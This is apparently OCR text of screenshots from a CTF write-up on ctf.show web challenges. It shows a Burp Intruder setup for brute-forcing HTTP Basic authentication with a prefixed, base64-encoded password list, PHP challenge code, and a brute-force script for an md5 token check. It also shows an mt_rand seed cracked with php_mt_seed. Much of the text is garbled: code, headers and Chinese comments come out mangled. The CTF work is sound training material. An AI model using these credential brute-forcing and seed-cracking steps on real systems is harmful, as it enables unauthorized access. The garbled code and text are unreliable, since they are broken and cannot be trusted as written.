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Raw | Headers | Hex
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Response

Raw | Headers | Hex | Render

GET /HTTP/.1 A

Host: 8541d76-64c9-4abb-a5da-eh24f55 cd? dd. chall. ctf. show:B080
Cache-Control_max-age=0
uthorization: Basic YVWRiaW4BM Q== I
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebkKit/537.36 (KHTML, like Gecka)
Chrome/88.0.4324.182 Safari/537 36 Edg/88.0.705.74
Accept:
text/html application/xhtml+xml application/xml, q=0.9 image/webp image/apng,*/*;q=0.8 application/s
igned-exchange;v=h3;q=0.9
Referer: http:/f8541d76-64c9-4abb-a5da-eb24f55cd7 dd. chall. ctf show:B080/
Accept-Encading: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 en-GB;¢g=0.7 en-US;q=06
Connection: close

HTTP/1.1 401 Unautharized

Content-Type: text/html; charset=utt8

Date: Wed, 24 Feb 2021 09:02:08 GMT

Server. nginx/1.16.1

Wiww-Authenticate: Basic realm="¢"-e%4030%¥adming00¢0"s0-4003004 Og 0"
¥-Powered-By: PHP/T.3.11

Connection: close

Content-Length: 42
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@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Va
and each payload type can be customized in different ways.

Payload set: [‘1 |v] Payload count: 4,451

Payload type: lSimpIe list |v] Request count: 4,451

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Enter a new item

Paste |  |@#5%°&" .
—

Lm___ HERERE
— o b,
MJ 575783

Clear | | 0000

00000 v

[ Ade |
[Add from list ..

@ Payload Processing

You can define rules to perform various processing tasks on each payload before it is used.

[ Add J Enabled | Rule
— v Add Prefix: admin:
i &) Basebd-encode
Remaove | >

3

@ Payload Encoding

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

[] URL-encode these characters: N8
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include( flag. php’ J;
1f(igset(3_GETL token 1)) {
Jtoken = md5(3_GET[ token 1),

if(substri$token, 1, 1l)===substri($token, 14, 1) && substr($token, 14,1) ===substri($token, 17,1))1
if ({intval (substr(Jtoken, 1, 1))+intval (substr($token, 14, 1))+substr ($token, 17, 1)) /substr($token, 1, 1)===intval (substr(Jtoken, 31, 10001
echo $flag:
1
1

Yelse!
highlight file( FILE )

<?php

error_reporting(9);

$a
for($i=0;%$1<36;%i++){
for($j=0;$j<36;$j++){
$token=$a[$i].%a[$i];
$token md5 ($token);
if(substr($token, 1,1) substr($token, 14,1) substr($token, 14,1) substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,

1) intval(substr($token, 31,1))){
echo $a[$i].%a[%$j];
exit(9);




error_reporting (0] ;

include ("flag. php™);

if(isset($ GET[ " 1031
$r = $.GET[r 1,
mt_srand(3726190328)
iflintval (3r)===intval (mt_rand())) {

echo $flag:
1
telze
highlight file( FILE J:
gcho  system( cat /procfversion’ J:
1

4 —Ykmt_rand ()8 I Bl ZB & 1R 5 seed M1 24 B FH B9 TR Bk 18— MABEHL L
A] LA Fsrand()Bkmt_srand ()4 BEHL B0 KR 4= 38 3%
BT LA SEmt_rand 2 & {E

< G @ @ 127.00.1/testphp

<fphp
highlight_file(_ FILE_ J;
mt_srand(372619038) ;
echolmt_rand ()]}

D

1155388967

php_mt_seed /&%

sudo ./php_mt_seed {HBENLEL

z /php_mt_seed 59
Found @, g 8528 P@6632959,
Found @, i
d
seed = 1@
Found 1,
Found 1,
Found 1,
Found 1,
Found 1,
Found 1,
Found 1,
Found 1,
Found 1,
Found 1,
Found 1,
Found 1,
Found 1,
Found 1,
Found 1,
d
seed
Found 2
Found
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Attack type: | Cluster bomb

|GET (S08/§18 HTTPM 1
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